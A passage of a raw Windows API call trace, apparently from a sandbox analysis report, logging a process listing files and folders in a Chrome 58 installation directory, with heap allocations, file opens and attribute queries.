ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff343df7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5af42, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3687f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4217c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0087.852] GetLastError () returned 0x12 [0087.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.852] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.853] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2818c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x380630, dwReserved0=0x0, dwReserved1=0x0, cFileName="nacl_irt_x86_64.nexe", cAlternateFileName="")) returned 1 [0087.853] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d896020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d896020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea2a89d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x40323, dwReserved0=0x0, dwReserved1=0x0, cFileName="natives_blob.bin", cAlternateFileName="")) returned 1 [0087.853] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d97a860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d97a860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea58ee0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x118671c, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pak", cAlternateFileName="")) returned 1 [0087.854] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfea5dd02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x161db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="snapshot_blob.bin", cAlternateFileName="")) returned 1 [0087.854] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualElements", cAlternateFileName="")) returned 1 [0087.854] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.854] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0087.854] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.855] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.855] NtClose (Handle=0x164) returned 0x0 [0087.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.856] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.856] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.858] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.858] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0087.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.858] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.858] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.859] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc8c8 [0087.859] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130be48 [0087.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.860] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a7fb0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="")) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc8e8 [0087.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130bf50 [0087.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.861] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3b6a16, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="")) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.862] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc908 [0087.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c058 [0087.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.863] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="")) returned 1 [0087.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.863] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.863] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.864] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc928 [0087.864] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c160 [0087.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="")) returned 0 [0087.865] GetLastError () returned 0x12 [0087.865] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.865] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a589f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x442a, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3a7fb0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5741, dwReserved0=0x0, dwReserved1=0x0, cFileName="logocanary.png", cAlternateFileName="")) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3b6a16, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ef3, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogo.png", cAlternateFileName="")) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="")) returned 1 [0087.865] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3c547c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x1ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="smalllogocanary.png", cAlternateFileName="")) returned 0 [0087.865] GetLastError () returned 0x12 [0087.865] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307e58) returned 1 [0087.865] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.866] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307f60) returned 1 [0087.867] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.867] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="")) returned 1 [0087.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.867] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\widevinecdm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0087.867] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0087.867] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0087.868] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0087.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0087.868] NtClose (Handle=0x15c) returned 0x0 [0087.868] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1307d50) returned 1 [0087.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.868] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.869] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307f60 [0087.869] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0087.869] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d9a09c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.870] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d9a09c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3db415, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="")) returned 1 [0087.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.870] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.870] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bc948 [0087.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c268 [0087.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.872] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="")) returned 1 [0087.872] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d78b680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7d78b680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_platform_specific", cAlternateFileName="")) returned 0 [0087.872] GetLastError () returned 0x12 [0087.872] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\WidevineCdm\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0087.872] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0087.872] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d9a09c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 